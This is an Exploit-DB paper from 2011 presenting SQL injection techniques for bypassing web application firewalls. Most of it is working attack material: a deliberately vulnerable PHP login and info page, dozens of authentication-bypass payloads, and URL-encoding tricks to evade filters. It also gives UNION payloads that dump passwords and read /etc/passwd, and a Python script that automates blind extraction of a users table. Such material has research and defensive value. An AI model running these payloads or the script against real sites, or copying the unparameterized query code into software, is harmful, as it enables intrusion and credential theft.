False SQL Injection and Advanced Blind SQL Injection

EDB-ID:

18263

CVE:

N/A


Author:

wh1ant

Type:

papers


Platform:

Multiple

Date:

2011-12-22


#########################################################################
#									#
# Exploit Title: False SQL injection and advanced blind SQL injection	#
# Date: 21/12/2011							#
# Author: wh1ant							#
# Company: trinitysoft							#
# Group: secuholic							#
#									#
#	   ###                                       ##   		#
#	 ######                                    ###### 		#
#	##    ##                                  ###   ##		#
#	       ##                                ##       		#
#	        ###                            ###        		#
#	         ###                          ###         		#
#	          ###   #                #   ###          		#
#	            ############   ###########            		#
#	           ############################           		#
#	          ##############################          		#
#	          #############################           		#
#	         # ############################ #         		#
#	          # ####   ############   #### #          		#
#	           # #####  ##########  ##### #           		#
#	            # ###################### ##           		#
#	            ## #################### ##            		#
#	             ## ################## ##             		#
#	            # ## ################ ## #            		#
#	             # ## ############## ## #             		#
#	             ## ## ############ ## ##             		#
#		      ## ## ########## ## ##              		#
#	                # ## ######## ## #                		#
#	                   ## ###### ##                   		#
#	                    ## #### ##                    		#
#	                     ## ## ##                     		#
#	                    ##      ##                    		#
#	                    ##      ##                    		#
#	                     ###  ###   				#
#									#   
#########################################################################



This document is written for publicizing of new SQL injection method about detour some web firewall or some security solution. I did test on a web firewall made in Korean, most SQL injection attack was hit, I will not reveal the maker for cutting its damage.

In order to read this document, you have to understand basic MySQL principles. I classified the term "SQL Injection" as 2 meanings. The first is a general SQL Injection, we usually call this "True SQL Injection", and the second is a "False SQL Injection". Though in this documentation, you can know something special about "True SQL Injection"

And I mean to say it's true that my method (False SQL Injection) is different from True/False SQL Injection mentioned in "Blind SQL Injection". A tested environment was as follow.


ubuntu server	11.04
mysql		5.1.54-1
Apache		2.2.17
PHP		5.3.5-1

A tested code was as follow.

<?php

/*
create database injection_db;
use injection_db;
create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num));

insert into users values(1, 'admin', 'ad1234');
insert into users values(2, 'wh1ant', 'wh1234');
insert into users values(3, 'secuholic', 'se1234');

*** login.php ***
*/

if(empty($_GET['id']) || empty($_GET['password'])){
  echo "<html>";
  echo "<body>";
  echo "<form name='text' action='login.php' method='get'>";
  echo "<h4>ID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type='text' name='id'><br>";
  echo "PASS<input type='password' name='password'><br></h4>";
  echo "<input type='submit' value='Login'>";
  echo "</form>";
  echo "</body>";
  echo "</html>";
}

else{
  $id = $_GET['id'];
  $password = $_GET['password'];

  $dbhost = 'localhost';
  $dbuser = 'root';
  $dbpass = 'pass';
  $database = 'injection_db';

  $db = mysql_connect($dbhost, $dbuser, $dbpass);
  mysql_select_db($database,$db);
  $sql = mysql_query("select * from users where id='$id' and password='$password'") or die (mysql_error());

  $row = mysql_fetch_array($sql);

  if($row[id] && $row[password]){
    echo "<font color=#FF0000><h1>"."Login sucess"."</h1></u><br>";
    echo "<h3><font color=#000000>"."Hello, "."</u>";
    echo "<font color=#D2691E>".$row[id]."</u></h3><br>";
  }
  else{
    echo "<script>alert('Login failed');</script>";
  }
  mysql_close($db);
}

?>


First, basic SQL Injection is as follow.
' or 1=1#

The code above is general SQL Injection Code, and this writer classified the code as "True SQL Injection". When you log on to some site, in internal of web program, your id and password are identified by some statement used "select id, password from table where id='' and password='', you can easily understand when you think 0 about character single quotation mark. Empty space is same as 0, the attack is possible using = and 0. As a result, following statement enables log on process.

'=0#

We can apply it in a different way.

This is possible as 0>-1
'>-1#


Also, this is possible as 0<1
'<1#

You don't have to use only single figures. You can use two figures attack as follow.
1'<99#

Comparison operation 0=1 will be 0, the following operation result is true because of id=''=0(0=1).

'=0=1#


Additionally there is some possible comparison operation making the same value each other.

'<=>0#

Like this, if you use the comparison operation, you can attack as additional manner.

'=0=1=1=1=1=1#
'=1<>1#
'<>1#
1'<>99999#
'!=2!=3!=4#



In this time, you get the turn on understanding False SQL injection. the following is not attack but operation for MySQL.

mysql> select * from users;
+-----+-----------+----------+
| num | id        | password |
+-----+-----------+----------+
|   1 | admin     | ad1234   |
|   2 | wh1ant    | wh1234   |
|   3 | secuholic | se1234   |
+-----+-----------+----------+
3 rows in set (0.01 sec)

This shows the contents in any table without any problem.
The following is the content when you don't input any value in the id

mysql> select * from users where id='';
Empty set (0.00 sec)

Of course there is not result because id field dosen't have any string.
In the truth, I have seen the case that in the MySQL if string field has a 0, the result is true. Based on the truth, following statement is true.

mysql> select * from users where id=0;
+-----+-----------+----------+
| num | id        | password |
+-----+-----------+----------+
|   1 | admin     | ad1234   |
|   2 | wh1ant    | wh1234   |
|   3 | secuholic | se1234   |
+-----+-----------+----------+
3 rows in set (0.00 sec)

If you input 0 in id, All the content is showed. This is the basic about "False SQL Injection". After all, result of 0 makes log on process success. For making the result 0, you need something processing integer, in that time you can use bitwise  operations and arithmetic operations.

Once I'll show bitwise operation example.


Or bitwise operation is well known for any programmer. And as I told you before, '' is 0, if you operate "0 bitwise OR 0", the result is 0. So the following operation succeed log on as the False SQL Injection.
'|0#

Naturally, you can use AND operation.
'&0#

This is the attack using XOR
'^0#

Also using shift operation is enable.
'<<0#
'>>0#

If you apply like those bitwise operations, you can use variable attack methods.
'&''#
'%11&1#
'&1&1#
'|0&1#
'<<0|0#
'<<0>>0#

In this time, I will show "False SQL Injection" using arithmetic operations.
If the result is 0 using arithmetic operation with '', attack will be success. The following is the example using arithmetic operation.

'*9#
Multiplication

'/9#
Division.

'%9#
Mod

'+0#
Addition

'-0#
Subtraction

Significant point is that the result has to be under one. Also you can attack as follow.
'+2+5-7#
'+0+0-0#
'-0-0-0-0-0#
'*9*8*7*6*5#
'/2/3/4#
'%12%34%56%78#
'/**/+/**/0#
'-----0#
'+++0+++++0*0#



Next attack is it using fucntion. In this document, I can't show all the functions. Because this attack is not difficult, you can use the "True, False SQL Injection" attack with function as much as you want. And whether this attack is "True SQL Injection" or "False SQL Injection" is decided on the last operation after return of function.
'<hex(1)#
'=left(0x30,1)#
'=right(0,1)#
'!=curdate()#
'-reverse(0)#
'=ltrim(0)#
'<abs(1)#
'*round(1,1)#
'&left(0,0)#
'*round(0,1)*round(0,1)#


Also, you can use attack using space in function name. But you are able to use the space with only some function.
'=upper     (0)#

In this time, SQL keyword is method. This method is also decided as True or False Injection according to case.
' <1 and 1#
'xor 1#
'div 1#
'is not null#
admin' order by'
admin' group by'
'like 0#
'between 1 and 1#
'regexp 1#

Inputting id or password in the field without annotaion is possible about True, False SQL Injection. Normal Web Firewalls filter #, --, /**/, so the method is more effective in the Web Firewalls.
ID  : '='
PASS: '='

ID  : '<>'1
PASS: '<>'1

ID  : '>1='
PASS: '>1='

ID  : 0'='0
PASS: 0'='0

ID  : '<1 and 1>'
PASS: '<1 and 1>'

ID  : '<>ifnull(1,2)='1
PASS: '<>ifnull(1,2)='1

ID  : '=round(0,1)='1
PASS: '=round(0,1)='1

ID  : '*0*'
PASS: '*0*'

ID  : '+'
PASS: '+'

ID  : '-'
PASS: '-'

ID  :'+1-1-'
PASS:'+1-1-'


All attacks used in the documentation will be more effective with using bracket when detouring web firewall.
'+(0-0)#
'=0<>((reverse(1))-(reverse(1)))#
'<(8*7)*(6*5)*(4*3)#
'&(1+1)-2#
'>(0-100)#



Let's see normal SQL Injection attack.
' or 1=1#

If this is translated in hexdemical, the result is as follow.
http://127.0.0.1/login.php?id=%27%20%6f%72%20%31%3d%31%23&password=1234


Like attack above is basically filtered. So that's not good attack, I will try detour filtering using tab(%09) standing in for space(%20). In truth, you can use %a0 on behalf of %09.

The possible values are as follow.
%09
%0a
%0b
%0c
%0d
%a0
%23%0a
%23%48%65%6c%6c%6f%20%77%6f%6c%72%64%0a

The following is the example using %a0 instead of %20.
http://127.0.0.1/login.php?id=%27%a0%6f%72%a0%31%3d%31%23&password=1234



In this time, I will show "Blind SQL injection" attack, this attack can't detour web firewall filtering, but some attacker tend to think that Blind SQL Injection attack is impossible to log on page. So I decided showing this subject.

The following attack code can be used on log on page. And the page will show id and password.
'union select 1,group_concat(password),3 from users#

This attack code brings /etc/password information.
'union select 1,load_file(0x2f6574632f706173737764),3 from users#

Dare I say it without union select statement using Blind SQL injection with and operation is possible.

The result of record are three.
admin' and (select count(*) from users)=3#



Let's attack detouring web firewall using Blind SQL Injection. The following is vulnerable code to Blind SQL Injection.

<?php

  /*** info.php ***/

  $n = $_GET['num'];
  if(empty($n)){
    $n = 1;
  }

  $dbhost = 'localhost';
  $dbuser = 'root';
  $dbpass = 'root';
  $database = 'injection_db';

  $db = mysql_connect($host, $dbuser, $dbpass);
  mysql_select_db($database,$db);
  $sql = mysql_query("select * from `users` where num=".$n) or die (mysql_error());
  $info = @mysql_fetch_row($sql);
  echo "<body bgcolor=#000000>";
  echo "<h1><font color=#FFFFFF>wh1ant</font>";
  echo "<font color=#2BF70E> site for blind SQL injection test</h1><br>";
  echo "<h1><font color=#2BF70E>num: </font><font color=#D2691E>".$info[0]."</font></h1>";
  echo "<h1><font color=#2BF70E>user: </font><font color=#D2691E>".$info[1]."</font>";
  echo "<body>";
  mysql_close($db);

?>


Basic Blind SQL Injection is as follow on like above.

http://127.0.0.1/info.php?num=1 and 1=0
http://127.0.0.1/info.php?num=1 and 1=1

But using = operation is possible for Blind SQL Injection.

http://192.168.137.129/info.php?num=1=0
http://192.168.137.129/info.php?num=1=1

Also other operation is possible naturally.

http://127.0.0.1/info.php?num=1<>0
http://127.0.0.1/info.php?num=1<>1

http://127.0.0.1/info.php?num=1<0
http://127.0.0.1/info.php?num=1<1

http://127.0.0.1/info.php?num=1*0*0*1
http://127.0.0.1/info.php?num=1*0*0*0

http://127.0.0.1/info.php?num=1%1%1%0
http://127.0.0.1/info.php?num=1%1%1%1

http://127.0.0.1/info.php?num=1 div 0
http://127.0.0.1/info.php?num=1 div 1

http://127.0.0.1/info.php?num=1 regexp 0
http://127.0.0.1/info.php?num=1 regexp 1

http://127.0.0.1/info.php?num=1^0
http://127.0.0.1/info.php?num=1^1

Attack example:
http://127.0.0.1/info.php?num=0^(locate(0x61,(select id from users where num=1),1)=1)
http://127.0.0.1/info.php?num=0^(select position(0x61 in (select id from users where num=1))=1)
http://127.0.0.1/info.php?num=0^(reverse(reverse((select id from users where num=1)))=0x61646d696e)
http://127.0.0.1/info.php?num=0^(lcase((select id from users where num=1))=0x61646d696e)
http://127.0.0.1/info.php?num=0^((select id from users where num=1)=0x61646d696e)
http://127.0.0.1/info.php?num=0^(id regexp 0x61646d696e)
http://127.0.0.1/info.php?num=0^(id=0x61646d696e)
http://127.0.0.1/info.php?num=0^((select octet_length(id) from users where num=1)=5)
http://127.0.0.1/info.php?num=0^((select character_length(id) from users where num=1)=5)

If I will show all attack, I have to take much time, So I stopped in this time. Blind SQL Injection is difficult manually, So using tool will be more effective. I will show a tool made python, this is an example using ^(XOR) bitwise operation. In order to make the most of detouring the web firewall, I replaced space with %0a.

#!/usr/bin/python

### blind.py ###

import urllib
import sys
import os



def put_data(true_url, true_result, field, index, length):
	for i in range(1, length+1):
		for j in range(32, 127):
			attack_url = true_url + "^(%%a0locate%%a0%%a0(0x%x,(%%a0select%%a0%s%%a0%%a0from%%a0%%a0users%%a0where%%a0num=%d),%d)=%d)" % (j,field,index,i,i)
			attack_open = urllib.urlopen(attack_url)
			attack_result = attack_open.read()
			attack_open.close()

			if attack_result==true_result:
				ch = "%c" % j
				sys.stdout.write(ch)
				break
	print "\t\t",

def get_length(false_url, false_result, field, index):
	i=0
	while 1:
		data_length_url = false_url + "^(%%a0(select%%a0octet_length%%a0%%a0(%s)%%a0from%%a0users%%a0where%%a0num%%a0=%%a0%d)%%a0=%%a0%d)" % (field,index,i)
		data_length_open = urllib.urlopen(data_length_url)
		data_length_result = data_length_open.read()
		data_length_open.close()
		if data_length_result==false_result:
			return i
		i+=1

url = "http://127.0.0.1/info.php"

true_url = url + "?num=1"
true_open = urllib.urlopen(true_url)
true_result = true_open.read()
true_open.close()
	
false_url = url + "?num=0"
false_open = urllib.urlopen(false_url)
false_result = false_open.read()
false_open.close()


print "num\t\tid\t\tpassword"
fields = "num", "id", "password"

for i in range(1, 4):
	for j in range(0, 3):
		length = get_length(false_url, false_result, fields[j], i)
		length = put_data(false_url, true_result, fields[j], i, length)
	print ""

To its regret, the attack test is stopped for no time, if anyone not this writer studies some attack codes additionally, it will be easy for him to develop the attack.

# Korean document: http://wh1ant.kr/archives/[Hangul]%20False%20SQL%20injection%20and%20Advanced%20blind%20SQL%20injection.txt

[EOF]